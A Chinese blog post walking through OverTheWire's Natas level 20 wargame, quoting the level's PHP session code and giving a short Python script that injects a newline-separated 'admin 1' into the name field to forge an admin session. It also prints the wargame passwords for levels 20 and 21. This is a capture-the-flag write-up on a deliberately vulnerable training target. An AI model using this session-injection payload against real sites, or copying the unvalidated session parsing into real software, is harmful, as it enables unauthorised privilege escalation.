Overthewire-natas20

Overthewire level 20 to level 21

题目给了一个按钮,提交一个名字到后台, 尝试性地写了个admin果然没啥反应...
先点进题目给的源码看看。在简单的浏览后, 定位到源码中几个关键的函数

function myread($sid) {
    debug("MYREAD $sid");
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID");
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
        $parts = explode(" ", $line, 2);
        if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode();
}

function mywrite($sid, $data) {
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data");
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID");
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
}

function print_credentials() {
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
        print "You are an admin. The credentials for the next level are:<br>";
        print "<pre>Username: natas21\n";
        print "Password: <censored></pre>";
    } else {
        print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}

页面提供了一个read和write函数,以及一个打印凭证的函数。read函数读取后台的某个文件,并把它展示到页面上,write函数则对应着我们提交的内容。我们的目标则是往cookie中注入admin=1。
先看看write函数,它把sid中的内容用strspn进行了验证,因此通过字符串拼接来注入的方式不可行。但是write函数也给我们提供了一个线索,就是它保存的路径名为session_save_path()/mymess_$sid
再看看read函数,它同样对sid进行了验证,然后读取文件到$data中。接下来把data按行拆分,并把每行用空格分隔开。这里可以看见它是基于每行读取的内容来对session进行设置的,并且没有对读取出来的内容进行校验。我们的目标是往session里面写一个admin=1,只需要在提交的内容里给它换行,即可拼接上任何我们想要的cookie。破解代码如下

import requests

auth = ('natas20', 'eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF')

resp = requests.post('http://natas20.natas.labs.overthewire.org/index.php',
                     auth=auth,
                     data={'name': 'sth\nadmin 1'})
sid = resp.cookies['PHPSESSID']
resp = requests.get('http://natas20.natas.labs.overthewire.org/',
                    auth=auth,
                    cookies={'PHPSESSID': sid})
print(resp.text)

整个代码分两次提交,分别对应调用write和read。第21关密码为IFekPyrQXftziDEsUr3x21sYuahypdgJ

posted @ 2021-05-29 22:37  wudiiv11  阅读(139)  评论(0编辑  收藏  举报